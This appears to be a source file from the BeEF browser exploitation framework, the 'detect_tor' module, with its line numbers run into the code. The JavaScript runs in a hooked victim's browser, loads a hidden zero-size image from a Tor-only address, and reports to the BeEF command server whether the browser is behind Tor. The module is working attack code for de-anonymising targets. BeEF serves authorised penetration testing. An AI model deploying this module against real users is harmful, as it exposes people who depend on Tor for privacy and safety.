Path: blob/master/modules/network/detect_tor/command.js
1155 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78if (document.getElementById('torimg')) {9return "Img already created";10}1112var img = new Image();13img.setAttribute("style","visibility:hidden");14img.setAttribute("width","0");15img.setAttribute("height","0");16//img.src = 'http://dige6xxwpt2knqbv.onion/wink.gif';17//img.src = 'http://xycpusearchon2mc.onion/deeplogo.jpg'18img.src = '<%= @tor_resource %>';19img.id = 'torimg';20img.setAttribute("attr","start");21img.onerror = function() {22this.setAttribute("attr","error");23};24img.onload = function() {25this.setAttribute("attr","load");26};2728document.body.appendChild(img);2930setTimeout(function() {31var img = document.getElementById('torimg');32if (img.getAttribute("attr") == "error") {33beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not behind Tor');34} else if (img.getAttribute("attr") == "load") {35beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is behind Tor');36} else if (img.getAttribute("attr") == "start") {37beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser timed out. Cannot determine if browser is behind Tor');38};39document.body.removeChild(img);40}, <%= @timeout %>);4142});434445